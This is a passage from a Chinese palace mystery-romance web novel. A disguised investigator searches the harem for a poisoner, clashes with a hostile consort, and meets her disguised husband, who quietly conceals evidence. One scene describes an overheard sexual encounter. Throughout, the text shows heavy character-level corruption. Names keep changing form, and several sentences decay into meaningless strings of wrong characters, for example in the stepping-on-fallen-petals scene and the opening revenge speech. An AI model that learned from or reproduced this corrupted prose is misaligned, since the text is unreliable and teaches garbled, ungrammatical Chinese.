祁灵萱忙不迭地追问,“姜司使,别卖关子,究竟是什么动了她的复仇之心?"“情。荒唐至极,却又再无合情合理的缘由,去解释染美人的几乎安静的自我毁灭姜时愿继而轻声回答,“染美人似乎.动了情,灭国之恨使她煎熬,可对陛下的情意又拉扯恨意,让她陷入两难。这也是她迟迟不能对陛下下死手的原因。她想,或许,曾有那么一刻柒美人真的动了和陛下共度余生的念头不然也不会诞下仇人之子的血脉 可惜,柒美人爱的人是帝王,帝王无情。国国灭,染美人九死一生逃过一劫,却最后死在了白己最不能爱上的男子手上,就连孩子也没能保住。这个结局令人不免唏嘘,就连祁灵萱都闻之哀叹:“情字一动,这也太惨了点.…” 姜时愿抬眸再度看向铜镜。 镜中主人,柒美人的那双眸子,满含悲意,简直叫人断肠,可姜时愿心中却无半分同情,她紧咬银牙,呼出的气之间带着微凉的水汽,“惨?咎由自取,不值得同情。祁灵萱惊于姜时愿近乎冷漠的态度,却又听到姜时愿面色阴沉,听着她语气很冷,继续说道。“家国爱恨家破国灭,她明知是谁害得她家破人亡,又是谁害得她楚国无存。”“明知敌人是谁,处心积虑地接近,却被心中最讥讽、最可笑的情感绊住脚,简简单单一个情,就叫她忘了血海深仇,还怀了仇敌骨血.…."“她才是罪大恶极的那个人,不值得同情,如若我是柒美人定要以牙詔鬯备辉牙、以眼还眼话音甫落,见祁灵营略带审视的双眸,姜时愿株神一许,知晓自己说错了话,立马蹲下身子,烛台照进,照高青石砖上的大片烟红色痕迹,移过话题,“找到了,就是这里,这里就是魅制练烟毒的地方。祁灵萱的头也凑过来:“你是如何得知?"“这片痕迹是最近方才留下来的,散有余味。"“还有颜色和香气。”姜时愿凑近细嗅:“这里有八旗香的味道,且颜色如血红,白无常曾提醒过我,制炼烟毒中有一原料名为曼珠沙华,正是这种颜色。 “人去楼空,找到了曾魅曾制炼的地方又有何用?”祁灵营埋怨道,“有用,此地唯有后宫之人方能进出。”姜时愿斩钉截铁地回答道,“至少证明,魅就在后宫之中,不在前朝,我们的方向没错。“那姜司使接下来打算怎么做?"“公主也知道,八旗香来源珍贵,圣人仅分给了寥寥数人,分别是太子、公主殿下您,皇亲贵族,还有宫中两位怀孕的嫔妃。”姜时愿道.“如今我们已经确定魅藏于后宫之中,所以如今正怀有龙种又分有八旗香的辰妃和明贵妃的宫中所有人都嫌疑最重。"''不过,未防止是魅趁夜黑风高潜入宫中偷窃八旗香,亦或者本来就有此香,所有后宫宫殿及所有人都要仔细搜一遍。公主,臣希望以殿下的名义搜宫。”姜时愿更像是下达命令。 ''当然也不可暴露真实目的,殿下就以随身之物丢失,怀疑后宫有人偷盗为借口,责令臣代为搜查。 “这么刁蛮的理由这么大的阵仗"祁灵萱苦恼得结结巴巴,欲哭无泪:“以本宫的名义,本宫不得被满朝文武口诛笔伐,还有定会被父皇及母后轻则禁闭,重则降千户.….! 姜时愿道:“没有别的办法了,为了庆国,委屈殿下当次昏君吧。 这几日,祁灵萱在公主殿中茶饭不思,睡眠不稳,就算闭门不出,也好似听见后宫之人铺天盖地的谩骂声,祁灵萱将被褥捂在耳朵上一层又一层,依然仿佛堵不住悠悠众口。 显然祁灵萱的担心是有道理的。 搜官一事众人敢怒不敢言,但心里皆怨声载道,三五成群的红裙绿装、梳着双髻的尚衣局女官聚在一处小声议论,称永安公主行事愈发刁蛮了。 每日在宫中挑挑拣拣、搜刮男色就算了,如今万岁宴危机刚过,圣人和皇后还在休养之中,永安公主不跑到病榻前尽孝也就算了。反而还为了''''鸾凤和鸣玉簪丢了,怀疑被盗了’,闹出这天大的搜宫阵仗。 这也正是姜时愿想要的效果。 无论此事多么荒诞、荒唐,但安在祁灵营的身上却意外地合情合理。 可见祁灵萱平日在后宫的风范,有目共睹 众人正时接耳之时,只听嗓子尖的内侍浮尘一甩,称蓝月姑姑奉永安公主之令前来搜宫。女官们不敢再言,连忙排成一列,安分站好,看着“蓝月姑姑’穿着一双紫绀色如意暗纹裙款步走来.这次阵仗太大,女官先是见“蓝月姑姑、亲自率人搜查官服、翻植倒柜,再是仔细传查每人的身上可有藏匿,竟要每一个人都要在白布后被去外衫、只穿抱胞,在“蓝月姑站面前过一眼,细到阵一双手都不放讨日沐之下,数百人在姜时愿的眼下而过,姜时愿看得都有些惓怠,却不敢丝毫放松警惕,终于浣衣局最后一人搜身结束时,姜时愿拾手按了按略微酸胀的眉心,接着在册子上划去尚衣局三局。后宫六局,她接已经搜过、查后,均没有制作烟毒的原料,也没从任何一个人到八旗香的味道或其他蛛丝马迹六局宫女没有,怕就是在后宫嫔妃的宫中了,也正是沈得潜伏所在的宫中。姜时愿看着册子上,下一个便此时,内侍弓着腰跑来,捏着嗓子,问道:“蓝月姑姑,下个地方去哪搜查?阳光一掠过,身上的浮光锦裙闪了一闪,姜时愿淡声道:“辰妃宫中。 姜时愿令人来到辰妃宫中时,倏尔起了一阵风,簌簌的花雨而落,梨花的枝头被风吹得微做颤着,姜时愿拾眼看到一抹玄衣手拿扫帚,扫着在他脚旁打旋儿的花儿,树下的竹篓中堆满落花。 沈浔光站在那里,周身写意风流,与这纷飞的花雨融为一体。 刹那间,光华缭乱-仅一个背影就能牵动她的心神的怕是仅有沈得,算起来,自从入宫以后,她们已经十日未见。因为隐藏身份的缘故,她们如今应是陌生人,不得相见,连一句问候也不允许。他们隔着花雨,遥遥相望,眼神交缠,惧是相思。姜时愿心下微动,这才发现,有一点她好像错了,即便沈浔如今戴上的这幅人皮极为丑陋,可只要他是沈浔,她便会动心,便会想要回应他的吻。姜时原课压下心头的情错,正欲离开,就见一位言女是起衣想,一脚场翻沈得字字积于的落花,甚至气焰墨派到:“"娘娘要你收集佳梨花入看,是要你一篇篇用手摘下来,你国倒是另牌暖径,竟用扫帚扫落花打算交给娘娘敷行了事,可真有你的。 姜时愿闻言,心叹,她的夫君倒真是一贯聪明,尽会投机取巧。 挨此骂也不冤。 “你也就每日就给池中鲸鱼喂点饵料、翻土浇花这点用处。不仅如此,洒草、擦廊、端茶、熏香,你皆手脚不灵,每每办砸,如同个废人一般. 虽是事实,但这句姜时愿心中倒听得不是滋味,她的夫君举世之才,却被人贬的一文不值。 黛眉微蹙,面色微沉。 “丑八怪,你什么瞧?你再用这种眼种看着我试法试…你信不信球.”官女被沈污冷冷的眼神盯得发毛,正想出手校训,手腕子却被美时照拎住,官女正欲发火,却见是永安公主身旁的蓝月姑站、顿时哑了火,见她面色不朗,顿时心里有生惧怕,低低问出声:“姑姑,你怎么来了?"“奉永安公主之令搜宫。”姜时愿的声音听不出情绪,“还不快去通知辰妃。官女连忙跑去回话,沈得见之姜时愿,福身行礼,垂首之时嘴边却起一抹笑容,嗓音温系且极具暖味:“多谢蓝月姑姑为小人做主,但还清蓝月姑切莫因小人之事而动怒,这些腌股项事不该入姑姑的眼,小人能理好。话音甫落,辰好外罩着绒成的被风,扶着头上乱摇的珠议,鹅眉淡扫,梨涡浅浅,嘴角路然一笑:“本宫还以为是谁来了,原来是永安公主身边的一条狗啊,永安公主真的是愈发任性了,竟还敢搜到本宫的官里。辰妃瞬尔冷冷一笑,眼神中带了点上位者的狠厉:“你无权搜宫。 97、097 辰妃垂眸轻睇, 轻咳几声,身旁的宫女鸢儿心领神会,替辰妃拢了拢身上的小袄围脖, 福身: “娘娘怀有龙种,站在廊庑下小心风凉,奴婢这就去殿里给娘娘取个暖手的炉子来。 辰妃轻点。 得了首肯, 鸢儿转身进入宫殿,只不过这步伐略有些急促。沈浔见之,垂眸一瞬,悄然也跟着离开。辰妃盯着姜时愿,目光炯炯:“蓝月你不过就是一条养在永安公主身边的一条狗,今日倒也学会了狗仗人势。"姜时愿略略福身,正欲出口,纷飞花雨处,祁灵萱莲步轻挪,出现在众人眼前,也学着辰妃的模样,娇弱造作地扶了一下头上簮着的杜鹃花。“本宫还以为是谁这么咄咄逼人呢,原来是辰妃娘娘。”“本宫就是刁蛮、就是任性,就是不成体统, 娘娘又能拿本宫怎么样?"“本宫就是怀疑辰妃娘娘宫中之人手脚不干净,偷了本宫的鸾凤和鸣玉簪,怎么,不让查?“莫不是做贼心虚?”祁灵萱挑衅到。垂首的宫女自是不敢多言,谁人不知永安公主仗着圣人的宠爱,行为乖张,没想到眼下还敢直接欺辱辰妃。“你”辰妃腾起愠色,“你就不怕我告诉陛下?"“随你。”祁灵营满不在意地抖了抖肩,双手一扬,一声令下:“搜! 目的已成,姜时愿做微一笑,谁料祁灵营转身之后,竟是一改器张的气焰,楚楚可怜地看着姜时愿,几乎是恳求的语气:"你可一定要查出点什么,否则本宫之后肯定要吃不了兜着走。” 瑶华宫的宫女和内侍群聚在门庭前,姜时愿站在他们的面前,目光柔和而平静,问道:“人可都到齐了。 鸢儿出列回话,十分配合:“回蓝月姑姑的话,瑶华官宫女三十三人,内侍十六人皆都在此。 姜时愿点头,按照先前的流程,搜官,搜身,俱来了一遍,均无发现,眼下仅有辰妃的寝官还未搜过。等姜时愿即将迈入正殿之时,莺儿又出来阻挠:“这是娘娘的寝官,姑姑也要嘛? “自是要溲。”姜时愿推开鸢儿阻拦的手,提步迈了进去,内侍东搜西找,姜时愿则来到香炉前闻了间,确认点着的乃是最普通不过的苏合香,紧着又来到百宝嵌柜前挨个锦会打开查看。 鸢儿一双眼睛静静盯着姜时愿的身上,也跟了过来,寸步不离,而后姜时愿看似不经意地问道:“娘娘的八旗香可还用着吗?" “陛下赏赐,娘娘极为爱重,都舍不得用呢。”鸢儿遂翻出来了一个蓝底的锦盒,拿出来准备给姜时愿瞧,却没想到瓶内空空如也, “真是奇了怪了,之前还是满的。”莺儿疑惑道。 姜时愿一怔,“什么时候。 “月前。”莺儿答。 月前,那便是在万寿宴之前。 万寿宴前八旗香是满的,如今却空了,而她贴身宫女却说辰妃平时极为爱重,平日都舍不得,自相矛盾,疑点重重。 怪不得姜时愿多想,莺儿又说道:“莫不是被登徒子偷了去?" 看着姜时愿审视的目光,营儿解释到:“蓝月姑姑你有所不知,瑶华官好似出了一个心思不干净的登徒子,前夜奴婢正要解衣正沐浴之时,却忽然发现女子耳房有个人偷窥. 昨夜鸢儿下了值,前往耳房,桶中热水已备,热气腾腾,鸢儿挽了发髻,松开系带,轻薄柔软的衣衫刚滑下肩头。 鸢儿忽然想起还未拿皂角,转身之间,看见原本合的支摘窗无风自开,且窗外一抹玄衣已经悄然走远,消融在夜色之中。 听着鸢儿这么说,姜时愿倒心起疑实,此人不像是偷窥女子春光的登徒子,毕竟仅是鸢儿仅是脱去外衫,此人就已走远,说明并未多作停留,就好似他对女子衣裙下的风,光并不感兴趣. 可这又不对,不是登徒子,那又要如何解释此人深更半夜站在耳房之外,看女子入浴? 或许,此人是个变态,但又不完全地变态。 姜时愿暂按下不表,搜查完辰妃一圈寝宫,暂无收获,她又转而来到辰妃面前。 辰妃怒不可遇,但又无可奈向,想着本就是祁灵营无中生有,不如看着她手底下的人兴师动众,又无功折返。到那时她去圣人面前哭几滴泪,既能博圣人怜惜,又能让祁灵萱自讨恶果。 两全其美。 辰妃思及此,强压怒气,展开双臂,姜时愿素手拂过辰妃的浮光衣裙,却在即将触到辰妃略微凸显的小腹时,辰妃顿时呵斥道:“放肆。辰妃捏着姜时愿的腕骨,几乎是用拧的力道,并且怒呵:“这可是龙种,也是你配摸的?"而姜时愿强忍着疼痛,脚趾微微蜷缩。在和辰妃极近的距离里,姜时愿在努力分辨,辰妃身上浓郁的熏香和满屋苏合香之下,那一缕微不可查且被掩藏的香味。 好似是从辰妃的指尖发散出来的。 极淡,又甜又似脂粉的香气。 是麝香 不对,辰妃正在孕中,怎会用麝香? 会不会是她闻错了? 辰妃冷冷推开姜时愿,道:“滚。” 祁灵营在公主殿中左等右等,才等到半夜而归的姜动愿,祁灵首看见美时源面色大震,连忙让人去备烧的的药膏,她的帽尖微凉、小心面翼地点在美时源脸上的遗兴的红痕上,气得不打一处来:“"是辰奶出的,是不是?你等着,本宫纹就去找她算账。气急败坏的祁灵萱被姜时愿反手拦下,明明受伤的是自己,姜时愿如今还要反过来安抚祁灵萱,劝到查案要紧。费尽口舌,才勉强稳下祁灵营。倏然,姜时愿又转念想到八旗香的事情,连忙问道:“陛下分给公主的八旗香,还有剩余吗?"祁灵营不明所以,直至拿出香盒一看,已经空空如也。她又挠了挠脑袋,颇为委屈:“本宫记得没有用这么多啊。“或许是被盗了。”姜时愿说到,“如果不出所料,明贵妃宫中的八旗香如今应当也是空空如也。“白无常说过,万寿宴上的大量烟毒如需制成,起码要两成的八旗香。臣记得公主分得一成,而明贵妃和辰妃手中的八旗香合起来正好也是一成。“这么算下来,加起来正是两成,刚刚好。应当是潜入公主、两位娘娘的宫殿,盗取了八旗香,用来制成烟毒。“还有一点,魅应当十分熟悉殿下和两位娘娘的殿内布局,更是知晓你们会将八旗香放在何处。 祁灵萱闻言汗毛林立,如同听了志怪离奇的邪崇,害怕不已,又顺着猜疑道,“会不会魅就是辰妃,辰妃来过本宫和明贵妃的宫殿,又极为熟悉布置摆设,且出入我们的宫殿也不会引人怀疑。 姜时愿想了想。 是有道理。 祁灵营又问:“姜司使今日搜查可曾发现了什么?"“暂无。”姜时愿摇了摇头,倏然抬眸,“不过也只是暂无。“为何这么说?"“殿下还记得今日辰妃阻拦搜宫吗,臣总觉得她的阻拦更像是拖延时间。"“对啊,本宫就说呢,本宫当时也没啥狠话,她竟然一改态度,同意让本宫搜官了….有鬼,绝对有鬼祁灵萱见姜时愿欣慰地笑了笑,而后转身朝着殿外走去,祁灵萱忙问:“姜司使深更半夜的,你要去哪?姜时愿柔声道:“找我的夫君,沈浔。“姜司使此时还顾着谈情说爱?"祁灵营皱了皱眉头,曾了曾嘴,“别忘了你如今乃是本官的贴身官女蓝月,你的夫君是辰好官中的酒扫内传,两言本就不和,日宫女和内侍之间乃是对食,若是被人发现神仙难救.…“E眼见姜时愿还是要出去,祁灵萱斜了斜眼睛,抿了抿唇,面色如同吃了中药一般的苦涩:“…不干净,…”“什么不干净?”姜时愿问。 祁灵营羞红了脸:“草堆里不干净"“ 这下轮到姜时愿面色凝固 云垂暮色,星月相称,晚风寒意。 姜时愿暗传消息,和沈浔约定再此相见。 月上柳道,此经诵成,姜时原身披玄衣、看见前方竹影摇电,莎莎作自,又见一名男子亚首而站,姜时原正要向他走去,结果忽然白日里曾经风过的辰纪宫女的传女竟直扑在男子的怀中,紧接着就见女子轻博的衣诊被男子大掌一把场飞似月纱一般蒙在姜时愿的眼前。虽然朦胧,姜时愿也看清了二人几乎荒唐的举动。而后,旋昵的交缠声层出不穷,女子的呻.吟,男子压抑的嗓音.“情哥哥,辰妃娘娘说只要此事办成就会允我出宫,与你团聚。“好”男子嗓音沙哑,“为你,我自当尽心尽力。可谓之,二人颠鸾倒凤,姜时愿忽然懂得了祁灵营的担忧原来也是事出有因。姜时愿面红耳赤,顶撞、求饶、爱意交缠的声音如同魔咒一样回荡在她的耳边,久久不散。也正在此时,慌乱的她,拾眸却见沈浔站在她的身前,她连忙拉着沈浔躲在崎岖的山石之下,她踩在他的足靴之上,努力伸长玉臂去遮住他的眼睛,又羞又娇,嗔到:“不许看。“也不许听”姜时愿结结巴巴地说道,“把耳朵堵上。谁料,沈浔反带着阿愿的纤腰贴近自己,借着此刻娇香堵住心口的灼烧,沈浔扬起眼尾,气息滚烫,俯身贴近她的敏,感低垂,转挑她脖间最受不了氧意的地方,轻轻吹拂着热气:“好。姜时愿贴在他的胸膛,只觉她的脸烧得慌,也不知是她脸热,还是沈浔身上得灼人。她想脱离桎梏,刚想扬起脸,又被沈浔按下螓首,这次他的语气生冷:“阿愿,也不许听,更不许看。“我没有”姜时愿刚想辩解,结果又听沈浔说道。“阿愿此刻想偷师也可以,以后请务必传授于为夫。“言.传.身教。 他的噪音缱港柔情,姜时原的脸火究,她一直以为她的夫君君子端方,清冷自持,却设想到还能以他嘴里听到如此玉浪的)话.…,姜时愿带着一丝怨意再配上本就柔得水的声音,出口之时倒像是调情:“阿呵浔,你知不知羞。 又娇又嗔。 沈浔闻之胸口微室,心头微漾。 姜时愿彻底不再挣扎,任他抱着 待官女和内侍结束之后,姜时愿和沈浔却无法抽离方才那场属于别人的翻云,覆雨,二人之间气息浮动,额间都沁出汗珠,不再能完美平息心中的异样。 仿佛他们之间未能酣畅淋漓,彼此之间未能畅.快,这场未能尽兴的快乐同时折磨着二人。 二人一度相视无言,就连姜时愿都快完了来此的要事。 也不知过了多久,姜时愿这才推开沈浔,倚在崎岖的石块上,借着石头的冷意压抑自己手心的热,她亦将手心的汗抹在石头上。 姜时愿不敢看沈浔,眼睛瞄向别处,问到要事:“辰妃让莺儿去取手炉,鸢儿真的只是去取了手炉吗,可还做了其他什么?" 沈浔笑道:“夫人聪慧。” 他将夫人二字咬得浓情缠倦,姜时愿的脸又是微微一热, 沈浔将几枚干枯的药草放在阿愿的手心之中,柔声道:“这是鸢儿试图烧掉的东西。 那时,鸢儿借口去取手炉,沈浔偷偷跟随她的身后,看见她翻墙倒柜,取了一些东西,以碎布包着,而后全部扔入了炭盆之中,任火舌吞噬. 好在,鸢儿前脚刚走,沈浔后脚截下。 尽管草药被烧得面目全非,仅剩半截,还残有火烤的烟味,姜时愿还是辨认出这些都是极为阴寒又有毒性的草药,可惜的是,它们均不是制作八旗香的原料。 不是原料,就不是确凿的证据。 沈浔道:“我倒觉得辰妃就是魅,一个普通女子怀有身孕,应当对这些阴寒又有毒性之物避而不及,而辰妃倒是偷偷藏匿这些。 “并且,辰妃也有八旗香。 姜时愿微微蹙眉, “可 又被沈浔打断,“ “我觉得辰妃嫌疑重大,阿愿可以着重将重心放在她的身上。 姜时愿面露难色,“阿浔,鸢儿烧毁的仅是这些草药吗.,烧药会散味道,我觉得莺儿应该会想到更好的处理方式,可她迫切地选择了烧毁.总觉得 “不是谁都像阿愿一样心思缜密,阿愿是多想了。”沈浔温声道,又笑道:“还是说,阿愿,不信我?" “没有,别误会,可能是我多想了…”姜时愿轻轻贴在他的胸膛上,说着抱歉,又忽然转念想到:“今日鸢儿告诉我,曾有一个登徒子夜半站在耳房外,阿浔你也在瑶华官宫中做事,此事你可有耳间?" 沈浔淡淡答道:“没有。” “那你帮我多多留意此事,我总觉得”姜时愿说不清,也道不明。 沈浔又是极快答道:“好。 时辰不早了,我先回去了。"阿愿慢慢松开他,望了一眼天色,谁料沈浔却勾着她的腰,沈得俯身吻住她的唇,气息缠编,唾液交换,以至于分开之时,阿愿的嘴边环挂着一丝银线待温香暖玉彻底离开,沈浔才如梦初醒,怅然若失,知晓阿愿已经走远许久。与阿愿分别之后,沈浔回到屋内,厢内其余的内侍均已就寝,唯有沈浔坐在窗沿旁,烛火愈发衰败的影子映在他清隽的眉眼上,他的指尖撩拨着摇曳不定的火焰。鸢儿口中的“登徒子’,说的应当是他吧他确认了瑶华宫的所有人,均没有一人身上绣着曼珠沙华,包括辰妃。所以,也就是说,瑶华官没有一人是魅。而巧合的是,辰妃又恰当好处地吻合了所有“魅’的特征。如果沈浔所想没错,怕是一场风雨又将降临。沈浔垂下眼帘,看着火舌舔舐着指尖,不感同意,反倒想起阿愿,到:“好似确实有些着急了…""他确实太着急转移阿愿的视线,他也太着急想让阿愿怀疑到辰妃的头上.为此,他特意隐瞒了官女媛儿烧掉的不只草药。还有一件带血的亵衣。 98、098 红墙碧瓦上蒙上的一层白纱,在春日来临之前慢慢消融,阳光从支摘窗上映进来 祁灵萱也脱下冬祆换上碧水色的春衫,躺在贵妃榻上正摇着团扇,忽然觉得口干舌燥习惯性地便唤蓝月倒水,一只素白带着玉镯的手伸到她的眼下祁灵萱才反应过来,如今的蓝月已经不是"蓝月’了,是披着"蓝月’的皮的姜司使,。她怎么能把堂堂三品的差司使当奴才使唤?祁灵萱连忙打坐起来,无论是多少次看姜时愿的脸,她都会被震惊,这张''皮相”很蓝月简直差别无二她捧着浓茶,狠狠啜了一口,问道:“姜司使,这张人皮是你自己做的吗,简直惟妙惟肖了。"“不是,是来自我的一位朋友手艺。”姜时愿想起慕朝,祁灵萱久居深宫,应该从未听过千人面的名号吧。祁灵萱歪着脑袋, 盯着姜时愿的脸看着出神,看着姜时愿的脸上慢慢染上酡红祁灵萱:“这手艺.仿人?画人皮?我总感觉在哪听说过这些手艺"“哪里?”姜时愿笑到:“志怪语录吗?",不过,姜时愿也确实从没有问过慕朝,他是从何处学来这门独家秘法。祁灵萱蹙眉沉思,“本官好像听父皇提过一嘴,楚国皇室中出过一名神秘的天师,此天师具有神通,能断人生死,巫蛊之术也是起源于他,而且听说此人有千万面相。“不过也许是父皇唬我的。”祁灵萱忽然精神了起来,“姜司使,辰妃的琼华官搜完了,下一个是不是就轮到了明贵妃的坤宁官。“贵妃为人你清楚吗?”姜司使问道。“贵妃明嫩,温婉娴静,秀丽端庄,温润而泽。''看起来殿下与她关系甚好?"这是自然,贵妃乃是后宫之中最美的女子,谁会不喜欢?“ 炷香之后,承蒙祁灵营的面子,姜时愿见到了后宫最美的女子。这也是她第二次遇见明贵妃,第一次是在万寿宴上,第二次则是今日,如祁灵萱所说,明嫩真的很美,她的眉毛如黛,眸如秋水,明媚动人,又不失温婉。秀发齐腰,流苏步摇随着她拾手的举动轻轻摇曳,珠玉相碰,更添几分娴静之态。明嫩的眉间轻感,手中笔墨微顿,看着画卷之人,却仿佛陷入僵局不知该如何下笔。听见祁灵萱轻快的脚步,她方才如墨初醒,抬起一双美得惊心动魄的眼眸来:“公主今日怎么得空来本宫的殿里坐坐了?"祁灵萱反手就扑在明嫩怀中撒娇,“这不是想娘娘了吗?“,明轻笑,耐心倾听,姜时愿念及明贵妃怀有身孕,生怕祁灵营没轻没重,立马上前劝谏,明织拾服看见姜时愿的时候微微一证,而后又笑道:“倒是难为蓝月姑姑处处费心永安公主了。 “娘娘言重了,这是奴婢的分内之责。”姜时愿福身明嫩命贴身侍女去准备些永安公主爱吃的糕点。姜时愿趁着此时打量殿内的陈设,陈设简单又不失雍华。百鸟鸣飞的碧玉屏风增添几分生气,金丝楠木书架上排列着古籍和书卷,两侧墙壁之上挂着数幅丹水墨青,还在透着淡淡的墨香。所有悬挂的画作,包括明嫩乌木案上尚未完成的画卷都在描绘着同一个男子,仅看男子身影,一身清冷和铮然之气便跃出纸上 只是可惜。 虽然贵妃笔墨功夫甚好,她描绘了男子的身形、衣着、黑发,却没有一笔浓墨带过男子的五官。 所有画卷,男子都少了脸。 姜时愿盯着画卷移不开眼神,深深被画卷之人折服在此,祁灵营嘴里叼着着半块糖糕凑了过来,欣快地说道:“贵妃娘娘的画技当真精绝,你说是不是?瞧,把父皇年轻时的英姿描绘得栩栩如生!“ 姜时愿后知后觉,明贵妃所画竟然圣人青年之时,贵妃和圣人,当真伉情深。 力HT 祁灵营囫囵吞下半块糕点:“本宫也曾问过同样的问题,贵妃娘娘说她眼下的画技还不够精湛,笔力不足以生动刻画当年父皇征战四方的英姿和威严,故而迟迟不肯动笔。 “想来也确实如此,人之精气,全在这五官之上。一笔画错,就毁了整张画作,故而要谨慎下笔。”祁灵萱继续解释道。 姜时愿轻喃:“原是这样。 明吸笑看着纷纷私语的二人,笑日她们在说什么,祁灵着忙说没说什么,哨了好几块性点,也不旅如间开口标传言之事、好在,明椒心思细腻,笑了笑、主动提起此事,视录营(水推息提出非分物清求、没想到明技想也没相点斗答应。 祁灵萱感动得几欲落泪,念着贵妃就是贵妃,气度就是不凡,哪像辰妃一样,上不了台面 姜时愿谢过明嫩,遂开始搜宫,直至天色敛尽黄昏,搜宫完成,但姜时无收获。 祁灵营都有些不好意思,扣着自己的刚染的丹蔻指甲,没想到明嫩甚至毫不在意,倒留祁灵萱一块用晚膳 坤宁自的小厨房做出来的性肴清淡可口,哪怕祁灵董原本不爱吃龙井虾仁、醉蟹、桂花山药、翠玉豆腐等,这次也都多扒了半碗,明饭笑着往地碗中多夹了几块如意素卷,祁灵首脱巴着眼睛,楚楚可怜,委屈地称再也吃不下了。 明嫩宠溺地揉着她的头,称:“好,那便歇会儿,陪本宫聊聊天。 祁灵萱说了近日许多趣事,也多提了一嘴近日偶遇的意中人,明嫩饶有兴致地听着,直至一个内侍捧着花瓶端了进来:“这是尚官局新供的鲜花,娘娘瞧奴才摆在哪里合适?“ 花瓶之中的花朵,还在含苞,初初露出两片新绿之间的红色。 仅是才露尖角,就已经红得浓烈,惊心动魄。 见此,祁灵萱发了脾气:“尚官局当真是越来越敷行了,拿些还未开花的花塘塞人,本官定要去找他们算账。”,明湖连忙哄着祁灵营消气,“罢了罢了,没准此花绽开时会比百合等还要好看呢。 “这破花哪里好看了?”祁灵萱依旧在气头上。 姜时愿不解地问道:“尚官局常供给各位美人殿中的不都是百合、波斯玫瑰、水仙等,这是什么花,奴婢为何从未见过?" 听了这话,祁灵萱也跟着摇头。 “本宫也是第一次见到此花。”明嫩也抬眸睇了一眼,也不打算为难自家宫中的内侍,叹道:“罢了,你随意搁在本宫的妆奁上吧。 “是。”内侍匆匆放下,便行礼离开,步伐匆匆,姜时愿的目光随着他的衣袂而动,盯得出神。对于这个内传,她总觉得眼熟,似乎在哪见过,但一时之间却又想不起来。 一阵香味悄然拂来。 祁灵萱和明贵妃二人说说笑笑,一时忘了时辰,直至给明贵妃端来一碗泛着苦涩的安胎药,嘱咐道:“已经到了服用安胎药的时辰了,为了腹中龙子着想,再多几时,娘娘就该就衰歌息了。“ 明嫩低眉一瞬,端着褐黄的汤药难以下咽,姜时愿忽然像变戏法似的变出一块桂花酥糖,道:“娘娘若是怕苦,奴婢这里恰好有一颗糖。” 明嫩一怔,“蓝月姑姑也喜欢吃这种糖?" “以前谈不上喜欢,如今虽也谈不上喜欢,但总是会备上一两颗。 以前她不爱吃,是因为天生喜酸厌甜,如今喜欢,是因为也想跟着沈浔尝尝他喜欢的口味,久而久之,也逐渐能接受了。 明嫩若有所思,慢慢拧开透亮的糖纸,原本紧蹙的黛眉慢慢松解开,她将糖慢慢放入口中,甜腻的香气在唇腔之内散开,到了现在,她终于展眉笑了,端起安胎药一饮而尽,看着姜时愿,由衷感谢 “谢谢你,不然本宫怕是没有这个勇气喝下这碗苦涩的汤药。" 明嫩的声音空灵清透,如山间略过的清风。 天色已晚,祁灵萱也自知再待在坤宁宫,就是给人添堵了,连忙带姜时愿退了下去 等人散尽,明嫩又来到乌木案前,点起烛台,盯着自己未完成的画作,略略叹了口气:“本想赶在万寿宴前画完的,当作献礼….可惜了.…" 嬷嬷叹着气,给明嫩披衣,道:“早些睡吧,娘娘,陛下会心领娘娘的心意的。" 闻言,明嫩的手指微微蜷缩,看着嬷嬷转身离开,连忙问道:“深更半夜的,嬷嬷要去哪里?” “什么小像?”明嫩问. “娘娘清看。”娘嬷将沈浔的画像放在明嫩的眼下,“想来这位俊俏的男子就是公主殿下今日提到的意中人,所以才小心翼翼收拢在袖间,没想到还是掉了出来,奴婢可不得赶紧给殿下送过去。嬷嬷转身欲走,却被明嫩拉住,嬷疑问到:“娘娘?"明嫩的声音极为温柔,指尖淡粉:“嬷嬷把这张小像留给本宫吧。“嬷嬷半夜前去,怕是会打扰到公主,还是等等下次相见,到时候,本宫再还于她。”她说得轻微。“娘娘说得是。 回到公主殿后,祁灵营开始在床揾之上滚来滚去,长长的墨发顺斜料在地上,姜时愿酒了玫瑰水在木梳上,梳着头发,谁料,祁灵营忽然抢过梳子,眨了眨眼睛,自告奋勇:“姜司使,本官帮你。祁灵萱的动作轻缓,又有女子的温柔,渐渐地,姜时愿有了些倦怠。刚想阖眼,就听着祁灵营开始复盘起整个案件:“姜司使搜查完了整个后宫都没有发现魅制作烟毒的原料,是不是就可以说明,万寿宴那次魅已经用完了所有的原料,没有丝毫剩余。“应是如此。”姜时愿点了点头。“那当时姜司使为什么会觉得魅会剩余原料?”祁灵问。姜时愿:“因为臣在想万寿宴上用烟毒杀人的为什么是舞女,而不是真正的魅?千载难逢的刺杀机会,魅为什么要交给别人动手?"祁灵营歪着头:“或许是魅病了,或者是什么事绊住了她,导致无法亲自动手。“倒确实有这种可能。姜时愿:“所以,臣想若魅没有亲自动手,必定会给自己留有余地。而烟毒是她的看家本领,也就是她自保的手段,所以应当会有剩余。祁灵萱叹气,愁眉苦脸:“可事实证明,姜司使猜错了,魅是个狠人,对自己不留余地。“不”姜时愿忽然想到了什么,猜测到:“或者是,她听到搜宫的风声,把剩余的原料抓紧炼成了烟毒。“烟毒,说白了不就是雾气嘛,这种虚无缥缈的东西,能藏在哪里?" 是啊能藏在哪里呢这也是苦恼姜时愿的点。忽然,祁灵营的脸贴了上来,姜时愿难免有些惶恐,她怯生生地问道:“怎么了?"祁灵萱眼里发着光:“姜司使,本官真的真的特别好奇,你是怎么做到不计美丑,愿意嫁给沈司使的呢?“因为臣的夫君,模样并不算差。”姜时愿说得婉转。“这还不算差.”祁灵营叹道:“当真是情人眼里出西施。姜时愿忽然拧过头,小心翼翼试探道:“臣是说万一,万一,万一殿下的心上人,是臣的夫君,殿下要如何”祁灵萱嘟了嘟嘴:“姜司使要为了一个男人,跟本宫决裂吗?"“自然不会。”“那不就成了,本宫不愿意和独孤忆柳共侍一夫,抬头不见低头见。但如果是姜司使的话,本宫可以考虑考虑。谁叫本宫和美司使亲如姐妹呢!"姜时愿竟有些无言以对。 子时三刻,忽然西南方爆开了连连不绝的尖叫,吓得祁灵营的困意瞬消,姜时愿连忙披上外衫,走了出去,望着西南方,应是坤宁宫的方向。 难不成坤宁宫出事了? 忽然, 一个内侍慌慌张张地跪在她的脚下,神情极为惶恐: “蓝月姑姑,不好了,明贵妃的孩子怕是保不住了…” 同一时间,琼华宫的沈浔也听闻到风声,嘴角微勾。 99、099 